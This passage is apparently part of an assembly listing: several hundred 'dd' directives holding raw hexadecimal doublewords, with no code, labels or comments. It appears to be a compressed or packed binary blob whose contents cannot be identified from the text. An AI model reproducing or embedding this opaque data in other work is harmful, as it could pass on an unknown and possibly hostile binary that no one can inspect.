		dd 7900F01Dh, 7D28F320h, 1F240A80h, 403175FFh, 856AE3DBh
		dd 1F07AE15h, 0C45B1C59h, 0AAF8C910h, 504D0322h, 0F5743158h
		dd 0B586C194h, 0C066F932h, 87FB0E4Bh, 0CE4652CAh, 10584960h
		dd 0D1350096h, 590CD722h, 50009A20h, 32125B3Bh,	0EC8814h
		dd 8A532E44h, 4F3924A8h, 6113B300h, 897C620Eh, 4CE21D06h
		dd 5A94075h, 0FF0912A3h, 6DE42E00h, 0EC7F4F14h,	0FE52039Eh
		dd 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h, 8001F4h
		dd 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h,	7F6200A0h
		dd 0F7B400Eh, 881266C8h, 0D80012B2h, 5893598Eh,	0CF22F66Fh
		dd 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h, 78EB19h
		dd 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h, 10F0BB28h
		dd 433E4C0h, 0FEF39450h, 89A0C052h, 54008BD5h, 2C8E0A2Eh
		dd 0CB5C03h, 4A0D8F02h,	638AB406h, 241D2D0Fh, 351940E8h
		dd 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh, 0E8730400h
		dd 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h,	0D1285C61h
		dd 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h, 7761C400h
		dd 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h, 0CD25F50Fh
		dd 554F409Ch, 7740561Ah, 287A7E59h, 5DFD6D0h, 1C2F89DBh
		dd 41918024h, 14039BCCh, 0CE920BFAh, 5749A8D0h,	0D45D003Eh
		dd 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h, 0AA1DD5AEh
		dd 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h, 5F80325Fh
		dd 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh, 0D21D1499h
		dd 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh, 10C2731Bh
		dd 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h,	0E0EE72E7h
		dd 26BD9981h, 10372EB4h, 190E3DF6h, 73E02A56h, 27C7661Ch
		dd 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h,	88909DA4h
		dd 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh, 4084F742h
		dd 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh,	6071805Ah
		dd 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah, 7099C3CDh
		dd 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h, 72BD0486h
		dd 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah, 0BF6493C3h
		dd 981AB80h, 1C850FC0h,	96883900h, 0F02FE0A2h, 0FC021DE4h
		dd 2D51407Dh, 0A9104B9h, 31345901h, 458D12D8h, 0E7B0BF8h
		dd 558F6833h, 40DC2D60h, 0D476D84Eh, 0E43E4A98h, 9C9294F2h
		dd 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h, 7056B2CFh
		dd 6B00B387h, 0B5657C25h, 797B1D83h, 62CD005Ah,	0F926845Bh
		dd 7014923h, 2D350371h,	27DCE24Fh, 53C800FFh, 2C30EB4Ch
		dd 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh, 0C336835h
		dd 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh, 9B511998h
		dd 32008C07h, 0F80A0389h, 0E6443EAh, 2FC0C08h, 9A34EB60h
		dd 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h, 28BBA5BEh
		dd 44959C88h, 8A971202h, 0C03BFD01h, 72EE3D6h, 0D266E56Ch
		dd 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h, 7C5BA2Fh
		dd 6962279Ah, 763AC05Fh, 6D01EE74h, 8BDE9C53h, 0D9C187EFh
		dd 3D8E230h, 82DF0D75h,	0A0A4E84Ch, 3203E259h, 0A4133D59h
		dd 305A875h, 210801FBh,	0A31D319h, 0F7D5C048h, 22135500h
		dd 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h,	2F9B3000h
		dd 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h, 0A3110A00h
		dd 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh, 6A65AF5Bh
		dd 1E46728Ch, 43B99944h, 0A58B7D89h, 0EF9C13C0h, 0EC830600h
		dd 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h, 2B0F27B6h
		dd 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h, 70FF1B1Ah
		dd 0C4060C00h, 33B8040Dh, 891200D9h, 5B3936E2h,	551F2CA2h
		dd 807AE011h, 0AD05D354h, 91F849h, 6CC88925h, 0A34A2471h
		dd 0A540400h, 3870B506h, 47640027h, 3B74A607h, 8D000583h
		dd 85E1D11Bh, 188A910h,	6AE48661h, 0C0953F1Ch, 0C8002C97h
		dd 6B7C818Fh, 0A5FA10h,	0E8067525h, 6602EBEDh, 1C453303h
		dd 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh, 8010A67h
		dd 0C0705A4h, 0F5E0C975h, 0B0360084h, 0EEE7F432h, 0F0095EBh
		dd 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h, 64B05B00h
		dd 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h, 871B7501h
		dd 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h, 5598C0C2h
		dd 85001018h, 5077CDB1h, 0F6B9D36Dh, 0A43400F4h, 8C12A515h
		dd 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h, 1780F08h
		dd 0E0EEEDFDh, 700015D5h, 0E814025Bh, 6633D7h, 823B8013h
		dd 8D26EA0Fh, 0A76A3Dh,	0B747C53Dh, 565DD6h, 0F96C34Ch
		dd 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h, 0C749F8CEh
		dd 936F400h, 1F8203D0h,	90FA0081h, 618F0FA4h, 40488B92h
		dd 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h, 744450E3h
		dd 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h, 3A2CD4CFh
		dd 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h, 43A9035Ch
		dd 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h, 0FF5FA8C7h
		dd 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h,	321D336Ch
		dd 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h, 4E7468EEh
		dd 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h,	40FFE3CEh
		dd 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh, 87DC91h
		dd 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h,	64210052h
		dd 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h, 6F903FD4h
		dd 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h, 906850h
		dd 0FC3DB3DAh
		dd 466BF053h, 0BF16A60Fh, 0C793001Eh, 0E892AB34h, 6A230B43h
		dd 0EC803305h, 2BEB038Ch, 261B6F0Ch, 0F61811h, 2113BD80h
		dd 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh, 22D12h
		dd 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h
		dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h
		dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh
		dd 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h
		dd 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh
		dd 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h
		dd 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh
		dd 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h
		dd 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h
		dd 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h
		dd 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h,	0E413B4FCh
		dd 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h
		dd 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h
		dd 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah
		dd 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h,	3C00F178h
		dd 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h,	4A000EBAh
		dd 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h
		dd 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh,	0AEB77DF2h
		dd 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh
		dd 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h,	894C3001h
		dd 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh
		dd 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h,	1C46C7D0h
		dd 65D6E800h, 827A079h,	50C4FA18h, 0B80FE502h, 29C00313h
		dd 62491778h, 4424A0F7h, 14002018h, 597E8088h, 222648h
		dd 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h, 0FF32DA53h
		dd 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h
		dd 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh
		dd 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h
		dd 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh
		dd 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h,	4AC2572Bh
		dd 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h
		dd 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h,	0B1223FB0h
		dd 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h
		dd 0A47CC3h, 23246D7Ch,	69B81188h, 0E9EB0402h, 809881A2h
		dd 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h
		dd 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h
		dd 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h
		dd 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h,	4FBABFC0h
		dd 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h
		dd 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h,	0E8950EAh
		dd 0B400FA83h, 85541977h, 6032198h, 132453E1h, 41C5E94Eh
		dd 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h
		dd 1A750A00h, 73BB9A4h,	0A573E3C3h, 8A3D50F8h, 80011109h
		dd 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh,	0B046A868h
		dd 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h,	764850DEh
		dd 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h
		dd 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh,	6F60D23Dh
		dd 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh
		dd 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh
		dd 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h
		dd 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h
		dd 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh,	0FC5AE45Bh
		dd 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h
		dd 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h,	0E2E8700Ah
		dd 76805A00h, 45E89C6h,	56FF1D17h, 4587C718h, 0B8942069h
		dd 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h
		dd 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh
		dd 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h
		dd 59503302h, 100DA85h,	915D7A62h, 0B6E3D06h, 0AB75A04Eh
		dd 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh
		dd 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h
		dd 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h,	7ED5015Bh
		dd 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h
		dd 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h
		dd 0AEA0BAh, 542B7EBDh,	3B90E91Fh, 89DB520Fh, 3FDD201Eh
		dd 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h
		dd 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h
		dd 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h,	0E202A4AAh
		dd 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h
		dd 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh
		dd 4574487Ch, 71416CBh,	7F8DD5A2h, 0F29C02Bh, 5F001FE2h
		dd 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h
		dd 3D620F16h, 9E18FCh, 3318C50h, 800422B3h, 340045E0h
		dd 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h
		dd 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh
		dd 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h
		dd 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh,	9680C012h
		dd 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh,	80951F7Ah
		dd 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah
		dd 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah,	0E35F18A9h
		dd 8BF3C30h, 8E1BC900h,	2EC54034h, 7CA258BCh, 76FA3700h
		dd 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h
		dd 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h,	1AC90C0h
		dd 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh,	0EDA1804Bh
		dd 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h,	527A5976h
		dd 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h
		dd 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h
		dd 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch,	8300629Eh
		dd 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h
		dd 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh,	16C59B03h
		dd 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h
		dd 0E78E617h, 0B60516A1h, 55718012h, 8D093927h,	70F70Fh
		dd 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch
		dd 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh,	1EE37640h
		dd 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h
		dd 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h
		dd 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h
		dd 0D800DC07h, 39B83Eh,	0E91C746h, 0A0AEA603h, 0A3E31900h
		dd 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h
		dd 0EDB2B800h, 5D1CE553h
		dd 0FDC5003Dh, 929E8B80h, 0F000A65Ah, 0C02001A1h, 0F8CA554h
		dd 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h, 7BA2BF27h
		dd 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h, 59F075h, 562FCD5h
		dd 0CAAE3511h, 3F857B00h, 0F7144EFAh, 0B33B007Dh, 0CB0413C8h
		dd 0C1FE964h, 7F80BC03h, 59D109A8h, 70C207E2h, 7023A508h
		dd 5E8C2855h, 5C00B07Fh, 4C914197h, 0B18D0h, 875C91Dh
		dd 0DE74D20Fh, 58F8DBF0h, 0A791001h, 0EEDAF726h, 73883ECh
		dd 1CF3673h, 0D97E8334h, 20E9DB91h, 8B75C16Fh, 3582CE00h
		dd 0E75B906h, 0E0D100F6h, 0D68ED24Eh, 3B0ED7C0h, 870B72FDh
		dd 0F3700477h, 382B051Dh, 40001B1Fh, 0F75BE7E2h, 0B301B1C3h
		dd 4607740Ah, 0F7205669h, 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h
		dd 0C023980Eh, 0FE832008h, 5875FFh, 0B0FCA11h, 5B3981F2h
		dd 5F18000h, 481C2478h,	0FFDA00C3h, 0E8048237h,	0ED30F8D9h
		dd 0ABAA462Bh, 2FE42EA8h, 0F882681h, 8B40835Ah,	0A77B9EDAh
		dd 5D64F300h, 47565948h, 0C8EE07h, 0F07E25BEh, 0F495725Ch
		dd 0CA92AC07h, 7520F2F5h, 42CC88h, 2F3344DCh, 85844F80h
		dd 251520Fh, 40400FABh,	9C7C20F9h, 302C00F1h, 0D81C051Ah
		dd 0AB07B8C3h, 0FE2D331h, 2A60A510h, 5CFB0EE0h,	0C121061Ch
		dd 708B1FFAh, 9900E6FCh, 38F8D333h, 3B487FADh, 303F5EF9h
		dd 0E8000EBEh, 395364DAh, 2500AFEAh, 7E75F448h,	9D5442h
		dd 5E24054Bh, 0C93793C1h, 2C383500h, 535CAC92h,	317F000Ah
		dd 0C1F096Fh, 0F9031474h, 0FC2B7A81h, 0EC10F873h, 50F230A5h
		dd 0D81754DCh, 57F81A00h, 703C685Dh, 83FA42h, 0F01212Dh
		dd 0CC2ABCE1h, 8A309201h, 2299B355h, 3D3CF0h, 0DE605C6h
		dd 43460E02h, 1F0044F8h, 0E8C76603h, 0AF9D6Ch, 287F34A7h
		dd 92A40901h, 897058h, 4991410h, 0ECA78056h, 98EB00E8h
		dd 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh, 1A5A6Bh
		dd 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh, 3AE500F9h
		dd 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h, 84280015h
		dd 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h, 0B8090092h
		dd 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h, 8B82F53h
		dd 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah,	0D22E00E8h
		dd 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h, 0AEB1Fh
		dd 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h,	83784Fh
		dd 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h,	5771E14h
		dd 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h,	0A8CD191Fh
		dd 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h, 1442058Bh
		dd 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h, 4F34176Eh
		dd 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h, 0AEE2A0B6h
		dd 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h, 0B4E641h
		dd 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch, 0EB2503E8h
		dd 8466937h, 94047BC8h,	4B13BA00h, 75F998B1h, 25EE6Eh
		dd 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh, 0C10CE627h
		dd 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h, 331C014Eh
		dd 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h, 69E480C4h
		dd 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h, 2309EE08h
		dd 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h, 3998729Ch
		dd 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h,	98396072h
		dd 22586132h, 60502354h, 4800C819h, 407244E4h, 601C3C39h
		dd 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h, 0FC319382h
		dd 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh, 10E494A1h
		dd 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h,	0DEC491C8h
		dd 0F8CE100h, 3D207B7h,	10E200C1h, 0B0C3C20Bh, 4F98A1E8h
		dd 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h,	4914DC05h
		dd 57780800h, 64487710h, 5387000Ch, 517F90FDh, 1AB80F8Fh
		dd 697C9717h, 4C459501h, 4770F909h, 0B1465080h,	0A2423A3Ch
		dd 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h,	1CF539F4h
		dd 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh
		dd 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h, 0E73900E6h
		dd 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h, 0ED1C30ECh
		dd 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h, 0D6390CD5h
		dd 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh
		dd 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h, 722BEC7h
		dd 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh,	91B123B0h
		dd 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h, 0C8BA91h
		dd 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h, 705CC165h
		dd 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h, 0E75BD8FEh
		dd 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah
		dd 0F62F0501h, 2AB0FEh,	65637845h, 0A6D13A70h, 805D883Ah
		dd 8B530A7h, 1C8A1020h,	0C0685CD4h, 817E2423h, 651F4845h
		dd 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h, 754F450Ch
		dd 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch, 0A9E95C5Eh
		dd 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh,	588E989Dh
		dd 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h,	0B258F057h
		dd 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h, 0F0756020h
		dd 10165209h, 35010E65h, 47F658A8h, 79043CD0h, 0F01F642h
		dd 76694445h, 415A7900h, 90016FBBh, 585E60C1h, 0EED4109Ch
		dd 2C00048h, 676E6152h,	9DFD1965h, 7700C820h, 8210C92h
		dd 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch,	64221DC0h
		dd 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h, 688461A0h
		dd 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h, 0BE07F193h
		dd 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h
		dd 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h, 6C76AB28h
		dd 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h,	0D044F649h
		dd 301DB90Ch, 97D567Eh,	8C433Ah, 63E98D01h, 7542F4AFh
		dd 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h, 0A00543BDh
		dd 0EACC4Ch, 41451005h,	7388C363h, 0E0568A00h, 0B9616C89h
		dd 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h, 1656C8Bh
		dd 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h,	6B632661h
		dd 67905081h, 4064A294h, 1109C93Bh, 20747003h, 0A7EF6C6Bh
		dd 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h, 8A04512h
		dd 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh, 23614609h
		dd 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh,	738572D9h
		dd 490BDE8h, 839C6655h,	41491F0Ah, 4365D2ACh, 8F60E074h
		dd 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh, 6903FFh
		dd 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh, 5DF407F3h
		dd 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h, 4CEDA1FEh
		dd 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h, 29EA84h
		dd 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh, 4DEE00EDh
		dd 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h,	3AEB00E1h
		dd 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h, 0D2D900DDh
		dd 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh,	12A74A6h
		dd 95FF5E8Ah
		dd 70627852h, 770F7A94h, 0C07D4855h, 0A120DC7Fh, 0A0C2703Bh
		dd 0FB38F5h, 300FD874h,	0D706C3B6h, 69D02900h, 31DFAE5Bh
		dd 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh, 7CF33Bh
		dd 6807307h, 7620FF1Fh,	0A16F40Eh, 0C58B407Dh, 0EB6192h
		dd 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h, 99330073h
		dd 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h,	0C16F03B8h
		dd 67E4BAC2h, 604FEBE0h, 1AFB0501h, 6844BDD8h, 2502C8h
		dd 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h, 4D4F0010h
		dd 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h, 0F829016Ah
		dd 0B2640054h, 10240CDBh, 860067E8h, 557550BAh,	12F3B91h
		dd 3822F5D5h, 402E1004h, 0C4F278E2h, 3A3F9400h,	0F4DAE445h
		dd 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h, 0ED4B405Eh
		dd 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h, 89153D65h
		dd 0BCC8F5Ch, 842401D4h, 0EB66ECA1h, 0AFE8D490h, 43CC5600h
		dd 9F0C62C6h, 5FFE4Ch, 0D4D68251h, 993537AAh, 5A880207h
		dd 32079D6Eh, 31566910h, 3EF83F84h, 40E7C39Dh, 747F588Ah
		dd 5C7C1228h, 9AEFF00h,	6B291B50h, 3F840002h, 4461765Bh
		dd 884CEE0Eh, 75400E9Fh, 3802403Ch, 8C4F06h, 7C7FFF85h
		dd 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh, 697970h,	2658E711h
		dd 560580F0h, 4DB90102h, 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h
		dd 0E4CCE884h, 0AA0014E8h, 9213D353h, 0A32CFACh, 24F40852h
		dd 70FC00E5h, 0A40F45E3h, 12FB307h, 33D06DF7h, 3D3A20D2h
		dd 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh
		dd 0CE00130h, 729F2DB0h, 0A639600Eh, 58441A00h,	104686C2h
		dd 5BC30012h, 0BDE6127h, 29005E90h, 9697C714h, 7BC2516h
		dd 0FEB818E8h, 98C8D013h, 0EC0099E3h, 34D6373Bh, 16AFCAA4h
		dd 11B080h, 0E9C13A95h,	0A6004D9Fh, 38BED1D2h, 0F08BFFAEh
		dd 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch, 73FC5FCh
		dd 27895657h, 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh,	2447FAB8h
		dd 0D6B5Eh, 0CBA3501Bh,	0B0004C4Eh, 54C105F6h, 78410175h
		dd 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h, 0D83B622Eh
		dd 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h,	15A5F25h
		dd 802AF4D3h, 0D0C6AACAh, 67003164h, 21D20BFFh,	8A249Eh
		dd 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh, 94613920h
		dd 985D9E03h, 0CA9883A8h, 10EE097Ch, 95543200h,	6444A7D9h
		dd 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h,	98E16392h
		dd 67503h, 4648F82Eh, 766CCCA2h, 97299800h, 0BCBAB662h
